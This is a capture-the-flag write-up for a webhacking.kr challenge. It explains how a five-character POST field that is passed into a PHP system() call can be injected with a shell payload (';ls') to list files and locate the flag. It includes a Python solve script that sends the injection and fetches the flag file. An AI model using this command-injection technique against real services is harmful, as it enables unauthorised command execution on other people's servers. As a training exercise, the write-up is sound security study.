Challenge
Execute ls through a five-character POST field.
在五字符 POST 字段中执行 ls。
1 http://webhacking.kr:10005/
Analysis
服务端只保留 id 的前五个字符,再拼入:
1 system ("echo 'hello! {$id} '" );
输入 ';ls' 的前五个字符仍是 ';ls'。shell
先结束原来的单引号字符串,再执行
ls;最后一个单引号重新闭合外层命令字符串。这样可以从目录列表得到当前
flag 文件名。
Solution
提交 POST 字段:
命令输出返回一个以 flag_
开头的文件名。不要把部署生成的完整文件名写死;脚本应从当前响应中提取它:
1 flag_<deployment-generated-name>
随后访问该文件读取 flag:
完整验证脚本如下。它只请求题目端口,不包含 cookie
或其他凭据;如果部署响应格式改变,脚本会明确失败而不会猜文件名。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from __future__ import annotationsimport argparseimport refrom urllib.parse import urljoinimport requestsFLAG_FILE = re.compile (r"flag_[0-9a-f]+" ) def main () -> None : parser = argparse.ArgumentParser() parser.add_argument("--url" , default="http://webhacking.kr:10005/" ) args = parser.parse_args() response = requests.post(args.url, data={"id" : "';ls'" }, timeout=20 ) response.raise_for_status() match = FLAG_FILE.search(response.text) if not match : raise RuntimeError("flag filename was not found in the command output" ) flag_url = urljoin(args.url, match .group(0 )) flag_response = requests.get(flag_url, timeout=20 ) flag_response.raise_for_status() print (flag_response.text) if __name__ == "__main__" : main()